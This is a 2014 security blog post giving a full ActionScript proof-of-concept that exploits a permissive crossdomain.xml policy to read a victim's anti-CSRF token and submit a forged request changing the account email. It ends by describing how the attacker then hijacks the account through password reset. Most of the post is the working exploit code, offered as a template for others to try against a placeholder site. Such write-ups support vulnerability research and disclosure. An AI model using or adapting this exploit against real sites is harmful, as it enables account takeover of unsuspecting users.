Friday, March 28, 2014

Exploiting insecure crossdomain policies to bypass anti-CSRF tokens

In my last post, I mentioned that if a site hosts an insecure crossdomain.xml file, you can exploit that flaw to bypass same origin policy and among other things, you can read anti-CSRF tokens.  Because your Flash object can read the anti-CSRF token, it can extract the token from the response and use it in future requests.  In fact, this is almost identical to how you can bypass CSRF tokens with XSS.

I recently came across a popular website that met these criteria, and I created a POC to send to the security team.  The site protected itself against CSRF using anti-CSRF tokens, but they had a wide open crossdomain.xml file.  I'll post the details later, but I wanted to drop the template here, in the event anyone wants to give it a try:

// Original POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// Modified to bypass antiCSRF tokens: Seth Art (sethsec@gmail.com)
// BypassCSRFchangeEmailAddress.as

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class BypassCSRFchangeEmailAddress extends Sprite {
  public function BypassCSRFchangeEmailAddress() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "https://www.secret-site.com/account/edit";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }


  private function eventHandler(event:Event):void {
   // This assigns the reponse from the first 
   // request to "reponse". The antiCSRF token is
   // somwhere in this reponse
   var response:String = event.target.data;

   // This line looks for the line in the response 
   //that contains the CSRF token
   var CSRF:Array = response.match(/CSRFToken.*/);

   // This line extracts the value of the CSRF token, 
   // and assigns it to "token"
   var token:String = CSRF[0].split("\"")[2];

   // These next two lines create the prefix and the 
   // suffix for the POST request
   var prefix:String = "CSRFToken="
   var suffix:String = "&first_name=CSRF&last_name=CSRF&email=sethsec%40gmail.com"

   // This section sets up a new URLRequest object and
   // sets the method to post   
   var sendTo:String = "https://www.secret-site.com/account/edit/"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;

   // This next line sets the data portion of the POST 
                        // request to the "prefix" + "token" + "suffix"
   sendRequest.data = prefix.concat(token,suffix)
   
   // Time to create the URLLoader object and send the 
   // POST request containing the CSRF token
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }
}

When the victim loads the the compiled Flash object, Flash object does 3 things:

1) The SWF sends a request from the victim's browser to a page that returns the CSRF token
2) The SWF grabs the CSRF token from the returned page
3) The SWF sends a second request, using the stolen CSRF token, that changes the email address on the account to the attackers email address

At that point the attacker just needs to fill out the forget password feature using their own email address, and they will be able to hijack the account.


No comments: